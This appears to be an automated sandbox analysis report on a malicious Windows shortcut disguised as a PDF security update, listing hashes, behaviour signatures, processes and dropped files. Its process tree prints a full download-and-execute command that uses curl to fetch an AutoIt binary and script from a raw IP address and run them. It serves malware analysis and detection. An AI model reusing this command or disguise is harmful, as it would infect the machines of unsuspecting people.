Analysis

  • max time kernel
    148s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230831-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230831-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/09/2023, 12:33

General

  • Target

    Security Certificate Critical Update v4321.81178 14 Sept 2023.pdf.lnk

  • Size

    1KB

  • MD5

    0fad99c622ad5b86b8fc8a9ed327e945

  • SHA1

    85eb43846480e91ff4dee61acfac8de2624a9533

  • SHA256

    4b927aa4c6ef461fb21f23cebf8d8e890801f70c06d72926befd0ce146bc7852

  • SHA512

    810b1b84d368e6c591293a7cfc61aa166bc375e7876bf125184bf71df39af281b37eb5008a1d46c6e73d0ce7b76ae93c564f8173b63b1320f60a51d2864a7d6a

Score
8/10

Malware Config

Signatures

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Security Certificate Critical Update v4321.81178 14 Sept 2023.pdf.lnk"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3876
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k curl -# -o "C:\Users\Admin\AppData\Local\Temp\Autoit3.exe" "http://5.188.87.58:2351" -o "C:\Users\Admin\AppData\Local\Temp\mdvyknat.au3" "http://5.188.87.58:2351/msimdvyknat" & "C:\Users\Admin\AppData\Local\Temp\Autoit3.exe" "C:\Users\Admin\AppData\Local\Temp\mdvyknat.au3" & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3752
      • C:\Windows\system32\curl.exe
        curl -# -o "C:\Users\Admin\AppData\Local\Temp\Autoit3.exe" "http://5.188.87.58:2351" -o "C:\Users\Admin\AppData\Local\Temp\mdvyknat.au3" "http://5.188.87.58:2351/msimdvyknat"
        3⤵
          PID:4616
        • C:\Users\Admin\AppData\Local\Temp\Autoit3.exe
          "C:\Users\Admin\AppData\Local\Temp\Autoit3.exe" "C:\Users\Admin\AppData\Local\Temp\mdvyknat.au3"
          3⤵
          • Executes dropped EXE
          PID:3552
    • C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
      1⤵
        PID:5040
      • C:\Windows\System32\svchost.exe
        C:\Windows\System32\svchost.exe -k UnistackSvcGroup
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:320

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\Autoit3.exe

              Filesize

              872KB

              MD5

              c56b5f0201a3b3de53e561fe76912bfd

              SHA1

              2a4062e10a5de813f5688221dbeb3f3ff33eb417

              SHA256

              237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

              SHA512

              195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

            • memory/320-3-0x000001CC7E0B0000-0x000001CC7E0C0000-memory.dmp

              Filesize

              64KB

            • memory/320-19-0x000001CC7E1B0000-0x000001CC7E1C0000-memory.dmp

              Filesize

              64KB

            • memory/320-35-0x000001CC7E7A0000-0x000001CC7E7A1000-memory.dmp

              Filesize

              4KB

            • memory/320-36-0x000001CC7E7C0000-0x000001CC7E7C1000-memory.dmp

              Filesize

              4KB

            • memory/320-37-0x000001CC7E7C0000-0x000001CC7E7C1000-memory.dmp

              Filesize

              4KB

            • memory/320-38-0x000001CC7E7C0000-0x000001CC7E7C1000-memory.dmp

              Filesize

              4KB

            • memory/320-39-0x000001CC7E7C0000-0x000001CC7E7C1000-memory.dmp

              Filesize

              4KB

            • memory/320-40-0x000001CC7E7C0000-0x000001CC7E7C1000-memory.dmp

              Filesize

              4KB

            • memory/320-41-0x000001CC7E7C0000-0x000001CC7E7C1000-memory.dmp

              Filesize

              4KB

            • memory/320-42-0x000001CC7E7C0000-0x000001CC7E7C1000-memory.dmp

              Filesize

              4KB

            • memory/320-43-0x000001CC7E7C0000-0x000001CC7E7C1000-memory.dmp

              Filesize

              4KB

            • memory/320-44-0x000001CC7E7C0000-0x000001CC7E7C1000-memory.dmp

              Filesize

              4KB

            • memory/320-45-0x000001CC7E7C0000-0x000001CC7E7C1000-memory.dmp

              Filesize

              4KB

            • memory/320-47-0x000001CC7E3E0000-0x000001CC7E3E1000-memory.dmp

              Filesize

              4KB

            • memory/320-46-0x000001CC7E3F0000-0x000001CC7E3F1000-memory.dmp

              Filesize

              4KB

            • memory/320-49-0x000001CC7E3F0000-0x000001CC7E3F1000-memory.dmp

              Filesize

              4KB

            • memory/320-52-0x000001CC7E3E0000-0x000001CC7E3E1000-memory.dmp

              Filesize

              4KB

            • memory/320-55-0x000001CC7E320000-0x000001CC7E321000-memory.dmp

              Filesize

              4KB

            • memory/320-67-0x000001CC7E520000-0x000001CC7E521000-memory.dmp

              Filesize

              4KB

            • memory/320-69-0x000001CC7E530000-0x000001CC7E531000-memory.dmp

              Filesize

              4KB

            • memory/320-70-0x000001CC7E530000-0x000001CC7E531000-memory.dmp

              Filesize

              4KB

            • memory/320-71-0x000001CC7E640000-0x000001CC7E641000-memory.dmp

              Filesize

              4KB